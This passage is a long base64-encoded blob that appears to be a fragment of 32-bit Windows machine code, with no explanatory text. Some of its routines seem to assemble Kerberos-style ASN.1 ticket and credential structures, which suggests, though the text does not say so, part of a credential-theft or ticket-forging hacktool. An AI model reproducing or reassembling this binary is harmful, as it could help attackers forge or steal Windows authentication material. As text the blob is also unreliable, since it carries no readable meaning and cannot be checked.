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8w/xUQkgEQi0X8i00QATuJAcdF+AEAAACLRfhfycNVi+xRUYsOU1eL+I0E/QQAAAADyFFqQDPbiUX4/xUMkgEQiUX8hcB0U4sei0UMiwBTUP91/OhKzAAAi0X8A8ODxAyJOIX/dhmLTQiDwASLEYkQi1EEiVAEg8EIg8AIT3Xti0UM/zD/FRCSARCLRfyLTQyJAYtF+AEGM9tDX4vDW8nDVYvsUVGLRQgPtkABiw6NBIUIAAAAU4lF/IPABFcDyFFqQDPbiUX4/xUMkgEQi/iF/3RDix6LRQyLAFNQV+jAywAAi00ID7ZRAf91/I0EO4kQUYPABFDop8sAAItFDIPEGP8w/xUQkgEQi0UMiTiLRfgBBjPbQ1+Lw1vJw1WL7IHsAAEAADPAiUX0iUX8iUX4iYUM////U1ZXi30IiweJhRT///+LRwSJhRj///+LRwiJhRz///+LRwyJhSD///+LRxCJhST///+LRxSJhSj///+LRxiJhSz///+LRxyJhTD///+LRyCJhTT///+LRySJhTj///+LRyiJhTz///+LRyxqCFmJhUD///+NRfxQjYVE////aAQAAgBQjXcwjV34xoUA////AcaFAf///xBmiY0C////x4UE////zMzMzMeFEP///wAAAgDogv3//41F/FCNhUz///9oCAACAFCNdzjoav3//41F/FCNhVT///9oDAACAFCNd0DoUv3//41F/FCNhVz///9oEAACAFCNd0joOv3//41F/FCNhWT///9oFAACAFCNd1DoIv3//41F/FBoGAACAI2FbP///1CNd1joCv3//2aLR2BmiYV0////ZotHYmaJhXb///+LR2SJhXj///+LR2iDxEiNTfxR/3dwiYV8////i0dsi/OJRYDHRYQcAAIA6HL9//+LR3SNd3iJRYiNfYylpaWNRfxQpYt9CI1FnGggAAIAUI23iAAAAOiZ/P//jUX8UI1FpGgkAAIAUI23kAAAAOiB/P//jUX8UP+3mAAAAIvzx0WsKAACAOiZ/f//i4ecAAAAiUWwi4egAAAAi134iUW0i4ekAAAAiUW4i4eoAAAAi00QiUW8i4esAAAAiUXAi4ewAAAAiUXEi4e0AAAAiUXIi4e4AAAAiUXMi4e8AAAAiUXQi4fAAAAAiUXUjYPcAAAAg8QoM/aJhQj///+Ng+wAAACJddiJdd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